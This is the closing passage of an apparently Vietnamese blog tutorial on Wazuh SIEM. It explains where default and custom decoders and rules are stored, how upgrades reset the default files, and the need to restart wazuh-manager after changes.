        mitre.technique: '['Network Service Discovery']'
**Alert to be generated.

Như vậy là rule đã được tạo thành công.

Phần kết

Với Wazuh, decoderrule đều được chia làm 2 phần là mặc định và tùy chỉnh.

OptionPath
Default/var/ossec/ruleset
Custom/var/ossec/etc

Phần mặc định (default) là các decodersrules được Wazuh viết sẵn, không thể thay đổi hay ghi đè các file này ở trên dashboard. Và cho dù tôi có cố gắng thay đổi nó bằng việc chỉnh sửa file trong server, thì khi cập nhật các phiên bản mới của Wazuh, mọi thay đổi của tôi cũng sẽ quay về mặc định. Tôi chỉ có thể tạo rule mới và ghi đề vào rule cũ với lệnh overwrite

Phần custom là các decodersrule được người quản trị tự tạo.

Lưu ý: decodersrules chỉ có thể được kích hoạt nếu nằm đúng vị trí trong các thư mục phía trên.

Mỗi rule và decoder khi được tạo mới hay có bất kỳ thay đổi gì đều phải restart lại Wazuh-manager. Tôi đã tạo và cập nhật custom decoders - rules của mình ở đây.

Pagination


© 2025. All rights reserved.